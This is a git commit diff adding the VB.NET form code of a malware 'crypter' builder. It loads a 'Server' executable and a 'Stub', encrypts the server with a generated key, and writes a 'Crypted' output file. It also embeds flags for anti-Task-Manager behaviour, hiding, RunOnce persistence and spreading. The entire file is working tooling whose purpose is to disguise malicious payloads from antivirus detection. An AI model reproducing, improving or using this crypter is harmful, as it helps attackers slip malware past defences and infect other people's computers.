initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,149 @@
+Public Class Form1
+
+    Const hamza = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££"
+    Dim AntiTas, Sleepp, Hid, RunOnce, Spread As String
+
+    Dim DOTP As String = ""
+
+    Dim stub As String
+
+    Private Sub StButton1_Click(sender As Object, e As EventArgs) Handles StButton1.Click
+        Try
+            Dim ofd As New OpenFileDialog
+            ofd.Title = " Server"
+            ofd.Filter = ".exe | *.exe"
+            ofd.ShowDialog()
+            LogInNormalTextBox2.Text = ofd.FileName
+
+        Catch ex As Exception
+
+
+        End Try
+    End Sub
+
+    Private Sub StButton2_Click(sender As Object, e As EventArgs) Handles StButton2.Click
+        Try
+            Dim ofd As New OpenFileDialog
+            ofd.Title = "Stub"
+            ofd.Filter = ".exe | *.exe"
+            ofd.ShowDialog()
+            LogInNormalTextBox1.Text = ofd.FileName
+           
+        Catch ex As Exception
+
+
+        End Try
+    End Sub
+    Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
+        Dim H As String = ""
+        Dim Black As String = ""
+
+        If Uppers Then
+            H = (H & "あいうえおはひふへほもめみまこけくきかẦḆḈḒḔ123456789AZERTYUIOPQSSDFGHJKLMWXCVBN頂革難六五四事亊争予与ӨҞώϟωϐϚЀӔөӧҶҼҘқҍ")
+        End If
+
+        VBMath.Randomize()
+        Dim num2 As Integer = (passwordLength - 1)
+        Dim i As Integer = 0
+        Do While (i <= num2)
+            Black = (Black & Strings.Mid(H, CInt(Math.Round(CDbl(((Strings.Len(H) * VBMath.Rnd) + 1.0!)))), 1))
+            i += 1
+        Loop
+        Return Black
+    End Function
+    Private Sub StButton3_Click(sender As Object, e As EventArgs) Handles StButton3.Click
+
+        LogInNormalTextBox3.Text = (GeneratePassword(True, True, False, False, 60))
+
+    End Sub
+
+    Private Sub StButton4_Click(sender As Object, e As EventArgs) Handles StButton4.Click
+        Try
+            Dim sfd As New SaveFileDialog
+
+            LogInProgressBar1.Value = 10
+
+            Dim sfdname As String
+
+            sfd.Title = "Save Crypted File"
+
+            sfd.Filter = ".exe | *.exe"
+
+            sfd.ShowDialog()
+
+            sfdname = sfd.FileName
+
+            LogInProgressBar1.Value = 30
+
+            If StCheckBox2.Checked = True Then : AntiTas = True : Else : AntiTas = False : End If
+
+
+            If StCheckBox1.Checked = True Then : Sleepp = True : Else : Sleepp = False : End If
+
+
+            If StCheckBox4.Checked = True Then : Hid = True : Else : Hid = False : End If
+
+
+            If StCheckBox3.Checked = True Then : RunOnce = True : Else : RunOnce = False : End If
+
+
+            If StCheckBox5.Checked = True Then : Spread = True : Else : Spread = False : End If
+
+
+            LogInProgressBar1.Value = 60
+
+            If LogInNormalTextBox3.Text = "" Then
+                MsgBox("Please Generate A Key ", MsgBoxStyle.Information, "Invalid Key")
+                Exit Sub
+            Else
+
+
+                Dim DZ As New PXOR(LogInNormalTextBox3.Text)
+
+                Dim DEV As String = LogInNormalTextBox2.Text
+
+                Dim dddd As String = LogInNormalTextBox1.Text
+
+                FileOpen(1, DEV, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
+
+                DOTP = Space(LOF(1))
+
+                FileGet(1, DOTP)
+
+                FileClose(1)
+
+                FileOpen(1, dddd, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
+
+                stub = Space(LOF(1))
+
+                FileGet(1, stub)
+
+                FileClose(1)
+
+                FileOpen(1, sfdname, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
+
+                LogInProgressBar1.Value = 70
+
+                FilePut(1, stub & hamza & DZ.PolyCrypt(DOTP) & hamza & LogInNormalTextBox3.Text & hamza & AntiTas & hamza & Sleepp & hamza & Hid & hamza & RunOnce & hamza & Spread)
+
+                FileClose(1)
+
+                LogInProgressBar1.Value = 100
+
+                MsgBox("Your Server Has Been Crypted^^", MsgBoxStyle.Information, "^^Crypted^^")
+
+                Invalidate()
+
+                Refresh()
+
+
+            End If
+        Catch ex As Exception
+
+        End Try
+
+
+    End Sub
+
+    
+End Class